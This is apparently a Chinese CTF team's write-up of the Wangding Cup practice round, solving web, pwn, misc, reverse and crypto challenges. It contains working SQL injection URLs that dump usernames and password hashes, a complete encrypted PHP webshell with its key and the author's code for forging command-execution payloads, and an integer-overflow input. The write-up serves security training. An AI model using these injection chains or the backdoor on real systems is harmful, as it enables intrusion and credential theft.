我们新点击蓝字
关注我们
声明
本文作者:CTF战队
本文字数:5965字
阅读时长:约15分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
团队每周会报名参加各类CTF比赛,writeup在公众号更新。
我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。
❝
第四届“网鼎杯”网络安全大赛赛前模拟训练
https://c.wangdingcup.com/
WEB
WEB01
直接上传一句话木马,一般 flag 都是动态的,题目搭建的时候会存环境变量里,直接 env 找
WEB02
❝
某集团总部近期对下属子公司的业务系统进行了一次安全检查,发现部分业务应用系统存在高危漏洞。您做为专业的第三方安全服务公司,请对该业务系统进行人工检查,确认是否存在高危的安全漏洞。
点击公告可以看见有文件 OA_announcement.php,经测试有整数型注入
http://ip/OA_announcement.php?id=1 and 1=0
直接开测,可以用异或注入,太慢了,用正常法子,先获取列数
http://ip/OA_announcement.php?id=0 order by 4
然后联合查询,查库
http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
拿到数据库名称,可以看到 Mozhe_OAsystem 数据库比较特殊
information_schema,Mozhe_OAsystem,mysql,performance_schema
查表
http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='Mozhe_OAsystem'
拿到 Mozhe_OAsystem 的表项
OA_Users,cms,ua
这里应该是获取用户名,然后登录获取 flag,接着查 OA_Users 表里的列名
http://ip/OA_announcement.php?id=0 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='OA_Users'
拿到 OA_Users 表里的列名
id,OAname,PassWord,Status
读 OA_Users 表
http://ip/OA_announcement.php?id=0 union select 1,group_concat(OAname),group_concat(PassWord),4 from Mozhe_OAsystem.OA_Users
获取到数据
OAname | PassWord | Status |
---|---|---|
2009371209 | bd109afc78d44da53aafe2a2f5c1a207 | 0 |
2009340218 | 6fbb6973fa60551e5f09d22a51fd959d | 1 |
2009371210 | 52f93e32913c2442485be99e37902921 | 1 |
破解后获得密码
2009371209 → abc2021,经测试,该账户禁用,所以我们破解后两个
2009340218 → 破解失败
2009371210 → 576938
WEB03
❝
XXXX集团内部办公系统的代码于2024年10月26日被恶意篡改,系统代码已备份,安全人员正在分析,请根据现状判断目前系统是否安全。
先扫一扫
python dirsearch.py -u http://0192c65d48e471c28f023cfa77c49f95.fu8t.dg04.wangdingcup.com:43001/
解压看见describedssTest.php特殊
<?php
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8 = '3b7430adaed18facca7b799229138b7b';
$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8 = '0329647546905494';
function e($D, $K)
{
$cipher = 'aes-128-cbc';
$encrypted = openssl_encrypt($D, $cipher, $K, 0, $GLOBALS['v8']);
$result = base64_encode($GLOBALS['v8'] . $encrypted);
$result = base64_encode($result);
return $result;
}
function d($D, $K)
{
$cipher = 'aes-128-cbc';
$decodedData = base64_decode(base64_decode($D));
$encryptedData = substr($decodedData, openssl_cipher_iv_length($cipher));
$decrypted = openssl_decrypt($encryptedData, $cipher, $K, 0, $GLOBALS['v8']);
return $decrypted;
}
$a8 = trim(d($a8, $p8));
ob_start();
$a8(trim(d($d8, $p8)));
$O = ob_get_contents();
ob_end_clean();
echo e($O, $p8);
?>
改下代码就能看见代码行为了,下面的代码改为如下
$a8 = trim(d($a8, $p8));
echo '$a8 = ' . $a8 . '<br/>';
$res = trim(d($d8, $p8));
echo '$res = ' . $res . '<br/>';
ob_start();
$a8($res);
$O = ob_get_contents();
ob_end_clean();
echo e($O, $p8);
可以看见输出为
$a8 = assert
$res = @eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}")
TURNeU9UWTBOelUwTmprd05UUTVORmxVVVUxbVJucFdWQ3RFUjJoWlEwZEdiamwyZG1jOVBRPT0=
这就是一个正常的双加密一句话木马,需要先满足 id,然后直接连接木马就行了
这种情况就是两个思路了,一个是弱口令爆破,一个是这个不是入口文件,先尝试弱口令爆破,看响应包长度
http://www.ttmd5.com/
https://www.cmd5.com/
看样子就是弱口令了,id 就是 md5(20241026),为 04c50eb4bc04c76311d03550ee2c1b71
d 需要加密后才能用,也就是说我们的命令要先加密才行,写个一句话木马,直接调用就行
先生成一个 PHP 的 RCE 代码
$aaa = "system($_POST['cmd']);";
$ddd = e($aaa, $p8);
echo '$cmd = ' . $ddd . '<br>';
得到
TURNeU9UWTBOelUwTmprd05UUTVORlpxZFhKQlMxSnlVakpyWVVobWJEVm9XbEoyWjNGeGQzUldXWEo0Vm1zMVMyTkVNRmh2VW5WaFFtYzk=
用蚁剑也行,构造eval($_POST['cmd']);
d=TURNeU9UWTBOelUwTmprd05UUTVORUp3YjFoR2FsZHVkM1ZMWW05NUwzSnVVa3N2VmtKdE1HbExZMHhoZEhBNGVHNXlZVTVaVGtGSWVHODk=&cmd
Pwn
PWN01
❝
发现一个可疑的网络通道,不确定是否存在安全问题,请根据提供的源码附件内容,对目标地址进行测试。
整数溢出问题,源码如下
#include <stdio.h>
#include <stdlib.h>
int main() {
char flag[32];
FILE* f = fopen("flag", "r");
if (f == NULL) {
puts("flag not found");
return 1;
}
fgets(flag, 32, f);
fclose(f);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Input: ");
char buffer[16];
fgets(buffer, 16, stdin);
int val = atoi(buffer);
if (val < 0) {
puts("Error: no negative numbers allowed!");
return 1;
}
int doubled = 2 * val;
printf("Doubled: %in", doubled);
if (doubled == -100) {
puts(flag);
}
}
输入 -50 是不被允许的,这里用的是 atoi 在C语言中,当你使用atoi函数将字符串"2147483648"转换为整数时,由于这个值超出了32位有符号整数(int)的范围,因此会发生溢出,变为 -2147483648。
2147483648 → -2147483648
2147483649 → -2147483647
4294967296 → 0
4294967296 - 100→ -100
Misc
签到题
❝
赛前模拟训练【签到题】,请下载赛题附件进行查看。
MISC01
❝
运维监测到有web攻击,请根据日志进行分析,找到攻击信息。
w-d-f-l-a-g{14030b5a31e7984365c08da0ece8dd03}
全文搜索{得到
wdflag{14030b5a31e7984365c08da0ece8dd03}
Reverse
REVERSE01
❝
某次服务器巡检过程中,发现一个可疑的Java源码,请根据提供的源码文件,分析找到隐藏在代码中的关键信息。
源码如下
import java.util.Scanner;
class ReverseEngineeringChallenge {
public static void main(String args[]) {
Scanner scanner = new Scanner(System.in);
System.out.print("Enter password: ");
String userInput = scanner.next();
if (checkPassword(userInput)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
public static boolean checkPassword(String password) {
return password.length() == 20 &&
password.charAt(0) == 'f' &&
password.charAt(11) == '_' &&
password.charAt(1) == 'l' &&
password.charAt(6) == '0' &&
password.charAt(3) == 'g' &&
password.charAt(8) == '4' &&
password.charAt(4) == '{' &&
password.charAt(9) == '_' &&
password.charAt(7) == '2' &&
password.charAt(10) == '_' &&
password.charAt(2) == 'a' &&
password.charAt(12) == '_' &&
password.charAt(5) == '2' &&
password.charAt(17) == 'B' &&
password.charAt(14) == '_' &&
password.charAt(18) == '!' &&
password.charAt(16) == '_' &&
password.charAt(19) == '}' &&
password.charAt(15) == 'D' &&
password.charAt(13) == 'W';
}
}
入门题,排个序就完了
❝
flag{2024____W_D_B!}
但是提交不对?题目有问题,删一个下划线就行了
❝
flag{2024___W_D_B!}
Crypto
CRYPTO01
❝
运维人员在某网络设备中捕获一段加密代码,请帮忙分析其中的明文信息。
一把梭
CRYPTO02
❝
拦截到一张图片,请您分析这张图片中,是否包含有隐藏数据信息?
这题也该是 Misc,图片里有额外数据
直接 Base64 解密
作者
CTF战队
ctf.wgpsec.org
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
原文始发于微信公众号(白帽子):第四届 “网鼎杯” 赛前模拟训练 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论